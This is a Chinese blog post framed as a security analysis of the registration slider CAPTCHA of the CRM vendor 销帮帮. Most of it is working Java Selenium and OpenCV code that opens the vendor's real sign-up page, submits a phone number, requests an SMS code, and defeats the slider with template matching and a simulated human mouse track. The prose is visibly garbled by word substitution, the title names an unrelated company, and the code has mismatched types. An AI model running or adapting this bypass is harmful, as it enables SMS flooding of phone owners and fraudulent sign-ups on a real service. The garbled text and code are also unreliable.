联通付出注册/登录安全分析陈诉
前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互办理方案, 但在机器学习能力进步的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底怎样? 请看具体分析
一、 销帮帮PC 注册入口
简介:杭州逍邦网络科技有限公司建立于2015年,是国内一线CRM品牌和企服范畴着名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。销帮帮拥有强大而灵活的“PaaS+低代码”能力。
二、 安全性分析陈诉:
销帮帮自研的滑动验证码,容易被模仿器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上,该网站存在一个试用页面入口无任何防御的问题。
三、 测试方法:
前端界面分析,这是销帮帮自己研发的滑动验证码,网上没有现成的教学视频,但情势都差不多,难点:防模仿器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,办理思路为让JS 这部分代码失效或这采取 物理定位鼠标的部分,目前采取的是物理鼠标的方式。
这次还是采取模仿器的方式,关键点重要模仿器交互、间隔识别和轨道算法3部分
1. 模仿器交互部分
- private OpenCv2 openCv2 = new OpenCv2(64, 128);
- private static String INDEX_URL = "https://appwebfront.xbongbong.com/stand-alone-login.html#/";
- @Override
- public RetEntity send(WebDriver driver, String areaCode, String phone) {
- RetEntity retEntity = new RetEntity();
- try {
- driver.get(INDEX_URL);
- driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();
- Thread.sleep(100);
- // 输入手机号
- WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);
- phoneElemet.sendKeys(phone);
- // 点击获取验证码
- WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
- sendElement.click();
- Thread.sleep(1000);
- // pic 1 get big
- WebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));
- String bigSrc = bigImgElement.getAttribute("src");
- byte[] bigBytes = GetImage.imgStrToByte(bigSrc);
- int bigLen = (bigBytes != null) ? bigBytes.length : 0;
- if (bigLen < 100) {
- System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);
- return null;
- }
- // pic 2 get small
- WebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));
- String smallSrc = smallImgElement.getAttribute("src");
- byte[] smallBytes = GetImage.imgStrToByte(smallSrc);
- int smallLen = (smallBytes != null) ? smallBytes.length : 0;
- if (smallLen < 100) {
- System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);
- return null;
- }
- String ckSum = GenChecksumUtil.genChecksum(bigBytes);
- Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);
- if (openResult == null || openResult.size() < 2) {
- System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);
- return null;
- }
- Double r = 1.0;
- BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);
- int distance = disD.intValue();
- boolean isRobot = true;
- int beginX = 827;
- int beginY = 659;
- if (isRobot) {
- RobotMove.move(beginX, beginY, distance);
- } else {
- WebElement moveElement = driver.findElement(By.className("verify-left-bar"));
- ActionMove.move(driver, moveElement, distance);
- }
- System.out.println("distance=" + distance);
- Thread.sleep(1000);
- WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);
- String info = (infoElement != null) ? infoElement.getText() : null;
- retEntity.setMsg(info);
- if (info != null && info.contains("(")) {
- retEntity.setRet(0);
- }
- return retEntity;
- } catch (Exception e) {
- System.out.println("phone=" + phone + ",e=" + e.toString());
- for (StackTraceElement ele : e.getStackTrace()) {
- System.out.println(ele.toString());
- }
- return null;
- }
- }
复制代码 2. 间隔识别
- /**
- *
- * @param ckSum
- * @param bigBytes
- * @param smallBytes
- * @param factory
- * @return { width, maxX }
- */
- public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
- try {
- String basePath = ConstTable.codePath + factory + "/";
- File baseFile = new File(basePath);
- if (!baseFile.isDirectory()) {
- baseFile.mkdirs();
- }
- // 小图文件
- File smallFile = new File(basePath + ckSum + "_s.png");
- FileUtils.writeByteArrayToFile(smallFile, smallBytes);
- // 大图文件
- File bigFile = new File(basePath + ckSum + "_b.png");
- FileUtils.writeByteArrayToFile(bigFile, bigBytes);
- // 边框清理(去干扰)
- byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
- File tpFile = new File(basePath + ckSum + "_t.png");
- FileUtils.writeByteArrayToFile(tpFile, clearBoder);
- String resultFile = basePath + ckSum + "_o.png";
- return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
- } catch (Throwable e) {
- logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());
- for (StackTraceElement elment : e.getStackTrace()) {
- logger.error(elment.toString());
- }
- return null;
- }
- }
- /**
- * Open Cv 图片模板匹配
- *
- * @param tpPath
- * 模板图片路径
- * @param bgPath
- * 目标图片路径
- * @return { width, maxX }
- */
- private String[] getWidth(String tpPath, String bgPath, String resultFile) {
- try {
- Rect rectCrop = clearWhite(tpPath);
- Mat g_tem = Imgcodecs.imread(tpPath);
- Mat clearMat = g_tem.submat(rectCrop);
- Mat cvt = new Mat();
- Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
- Mat edgesSlide = new Mat();
- Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
- Mat cvtSlide = new Mat();
- Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
- Imgcodecs.imwrite(tpPath, cvtSlide);
- Mat g_b = Imgcodecs.imread(bgPath);
- Mat edgesBg = new Mat();
- Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
- Mat cvtBg = new Mat();
- Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);
- int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
- int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
- Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
- Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
- // 归一化相关匹配法
- MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
- Point maxLoc = minMaxLoc.maxLoc;
- Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
- Imgcodecs.imwrite(resultFile, cvtBg);
- String width = String.valueOf(cvtSlide.cols());
- String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
- System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
- return new String[] { width, maxX };
- } catch (Throwable e) {
- System.out.println("getWidth() " + e.toString());
- logger.error("getWidth() " + e.toString());
- for (StackTraceElement elment : e.getStackTrace()) {
- logger.error(elment.toString());
- }
- return null;
- }
- }
- public Rect clearWhite(String smallPath) {
- try {
- Mat matrix = Imgcodecs.imread(smallPath);
- int rows = matrix.rows();// height -> y
- int cols = matrix.cols();// width -> x
- System.out.println("OpenCv2.clearWhite() rows=" + rows + ",cols=" + cols);
- Double rgb;
- double[] arr;
- int minX = 255;
- int minY = 255;
- int maxX = 0;
- int maxY = 0;
- Color c;
- for (int x = 0; x < cols; x++) {
- for (int y = 0; y < rows; y++) {
- arr = matrix.get(y, x);
- rgb = 0.00;
- for (int i = 0; i < 3; i++) {
- rgb += arr[i];
- }
- c = new Color(rgb.intValue());
- int b = c.getBlue();
- int r = c.getRed();
- int g = c.getGreen();
- int sum = r + g + b;
- if (sum >= 5) {
- if (x <= minX)
- minX = x;
- else if (x >= maxX)
- maxX = x;
- if (y <= minY)
- minY = y;
- else if (y >= maxY)
- maxY = y;
- }
- }
- }
- int boder = 1;
- if (boder > 0) {
- minX = (minX > boder) ? minX - boder : 0;
- maxX = (maxX + boder < cols) ? maxX + boder : cols;
- minY = (minY > boder) ? minY - boder : 0;
- maxY = (maxY + boder < rows) ? maxY + boder : rows;
- }
- int width = (maxX - minX);
- int height = (maxY - minY);
- System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
- Rect rectCrop = new Rect(minX, minY, width, height);
- return rectCrop;
- } catch (Throwable e) {
- StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
- for (StackTraceElement elment : e.getStackTrace()) {
- er.append(elment.toString() + "\n");
- }
- logger.error(er.toString());
- System.out.println(er.toString());
- return null;
- }
- }
复制代码
3. 轨道天生及移动算法
- /**
- * 双轴轨道生成算法,主要实现平滑加速和减速
- *
- * @param distance
- * @return
- */
- public static List<Integer[]> getXyTrack(int distance) {
- List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
- try {
- int a = (int) (distance / 3.0) + random.nextInt(10);
- int h = 0, current = 0;// 已经移动的距离
- BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
- BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
- BigDecimal move = null;// 每次循环移动的距离
- List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
- boolean plus = true;
- Double t = 0.18, v = 0.00, v0;
- while (current <= distance) {
- h = random.nextInt(2);
- if (current > distance / 2) {
- h = h * -1;
- }
- v0 = v;
- v = v0 + a * t;
- move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
- if (move.intValue() < 1)
- move = new BigDecimal(1L);
- if (plus) {
- track.add(new Integer[] { move.intValue(), h });
- } else {
- subList.add(0, new Integer[] { move.intValue(), h });
- }
- current += move.intValue();
- if (plus && current >= mid.intValue()) {
- plus = false;
- move = new BigDecimal(0L);
- v = 0.00;
- }
- }
- track.addAll(subList);
- int bk = current - distance;
- if (bk > 0) {
- for (int i = 0; i < bk; i++) {
- track.add(new Integer[] { -1, h });
- }
- }
- System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
- return track;
- } catch (Exception e) {
- System.out.print(e.toString());
- return null;
- }
- }
- /**
- * 模拟人工移动
- *
- * @param driver
- * @param element页面滑块
- * @param distance需要移动距离
- * @throws InterruptedException
- */
- public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
- List<Integer[]> track = getXyTrack(distance);
- if (track == null || track.size() < 1) {
- System.out.println("move() track=" + track);
- }
- int moveY, moveX;
- StringBuffer sb = new StringBuffer();
- try {
- Actions actions = new Actions(driver);
- actions.clickAndHold(element).perform();
- Thread.sleep(50);
- long begin, cost;
- Integer[] move;
- int sum = 0;
- for (int i = 0; i < track.size(); i++) {
- begin = System.currentTimeMillis();
- move = track.get(i);
- moveX = move[0];
- sum += moveX;
- moveY = move[1];
- if (moveX < 0) {
- if (sb.length() > 0) {
- sb.append(",");
- }
- sb.append(moveX);
- }
- actions.moveByOffset(moveX, moveY).perform();
- cost = System.currentTimeMillis() - begin;
- if (cost < 5) {
- Thread.sleep(5 - cost);
- }
- }
- if (sb.length() > 0) {
- System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
- }
- Thread.sleep(180);
- actions.release(element).perform();
- Thread.sleep(500);
- } catch (Exception e) {
- StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
- for (StackTraceElement elment : e.getStackTrace())
- er.append(elment.toString() + "\n");
- logger.error(er.toString());
- System.out.println(er.toString());
- }
- }
复制代码
4. 图片比对结果测试样例:
四丶结语
杭州逍邦网络科技有限公司建立于2015年,是国内一线CRM品牌和企服范畴着名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了偕行滑动验证码的履历后,自己研发了独特风格的那个验证码, 从逆向代码来看, 不仅鉴戒了偕行的技术原理,还在防抓取上下了功夫,防模仿器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,办理思路为让JS 这部分代码失效或这采取 物理定位鼠标的部分,目前采取的是物理鼠标的方式。
从这点看,的确让初级黑客止步,但本质上, 前端技术都是暴露在浏览器,不管是JS 注入还是后端署理模式,都会让这些小技巧无效。
另一方面,该网站试用页面入口短信验证无任何验证,存在被盗刷短信的隐患。
很多人在短信服务刚开始建立的阶段,大概不会在安全方面考虑太多,来由有很多。
比如:“ 需求这么赶,固然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不大概的 ”等等。
有一些来由固然有原理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 眼前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该怎样做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码闭幕者-基于CNN+BLSTM+CTC的训练部署套件》
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
|